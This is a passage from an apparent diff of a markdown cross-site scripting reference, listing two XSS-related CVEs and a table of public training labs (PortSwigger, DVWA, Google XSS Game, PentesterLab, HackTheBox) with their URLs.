+
| CVE-2019-12747 | TYPO3 | XSS in backend |
|
|
1516
|
+
| CVE-2023-24374 | WordPress plugins | Reflected XSS |
|
|
1517
|
+
|
|
1518
|
+
### Lab Practice Environments
|
|
1519
|
+
|
|
1520
|
+
| Platform | URL |
|
|
1521
|
+
|----------|-----|
|
|
1522
|
+
| PortSwigger Web Security Academy | https://portswigger.net/web-security/cross-site-scripting |
|
|
1523
|
+
| DVWA | https://github.com/digininja/DVWA |
|
|
1524
|
+
| XSS Game (Google) | https://xss-game.appspot.com |
|
|
1525
|
+
| PentesterLab XSS | https://pentesterlab.com/exercises/xss_and_mysql_file |
|
|
1526
|
+
| HackTheBox Web | https://www.hackthebox.com |
|